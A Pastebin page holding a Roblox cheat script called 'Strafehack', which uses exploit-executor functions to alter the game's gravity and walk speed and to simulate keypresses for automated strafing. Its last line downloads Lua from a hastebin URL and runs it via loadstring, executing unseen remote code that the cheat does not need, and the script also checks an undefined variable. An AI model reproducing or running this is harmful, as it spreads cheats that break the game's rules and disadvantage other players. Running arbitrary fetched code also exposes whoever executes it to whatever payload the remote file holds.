Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- local Walk = 5000;
- local Gravity = 10;
- for i, v in next, getgc'' do
- if typeof(v) == 'function' and debug.getupvalue(v, 'Gravity') then
- debug.setupvalue(v, 'Gravity', -math.abs(Gravity));
- debug.setupvalue(v, 'Walk', Walk)
- end
- end
- local Players = game:GetService"Players"
- local LocalPlayer = Players.LocalPlayer
- local UIS = game:GetService"UserInputService"
- local Mouse = LocalPlayer:GetMouse()
- local Toggle = false
- local Keys = {}
- local Key = Enum.KeyCode.LeftShift
- local function GetKeyState(key)
- if (Keys[key] == nil) then Keys[key] = false end
- return Keys[key]
- end
- local function PressKey(key)
- if (not GetKeyState(key)) then
- keypress(key)
- Keys[key] = true
- end
- end
- local function ReleaseKey(key)
- if (GetKeyState(key)) then
- keyrelease(key)
- Keys[key] = false
- end
- end
- local function ReleaseKeys()
- for i, v in next, Keys do
- if (v == true) then
- keyrelease(i)
- Keys[i] = false
- end
- end
- end
- local Move = UIS.InputChanged:connect(function(input)
- if (Toggle) then
- local delta = input.Delta
- if (deltaX == 0) then
- ReleaseKeys()
- elseif (delta.X < 0) then
- ReleaseKey(0x57) -- W
- PressKey(0x53) -- S
- elseif (delta.X > 0) then
- ReleaseKey(0x53) -- S
- PressKey(0x57) -- W
- end
- else
- ReleaseKeys()
- end
- end)
- local KeyDown = UIS.InputBegan:connect(function(input)
- if (input.KeyCode == Key) then
- PressKey(0x20)
- print("[Strafehack] On")
- Toggle = true
- end
- end)
- local KeyUp = UIS.InputEnded:connect(function(input)
- if (input.KeyCode == Key) then
- ReleaseKey(0x20)
- print("[Strafehack] Off")
- Toggle = false
- end
- end)
- _G.AC_DC = function() KeyUp:disconnect() KeyDown:disconnect() Move:disconnect() end
- print("[Strafehack] Initiated")
- loadstring(game:HttpGet("https://hastebin.com/raw/xeyusaxeke.lua", true))()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement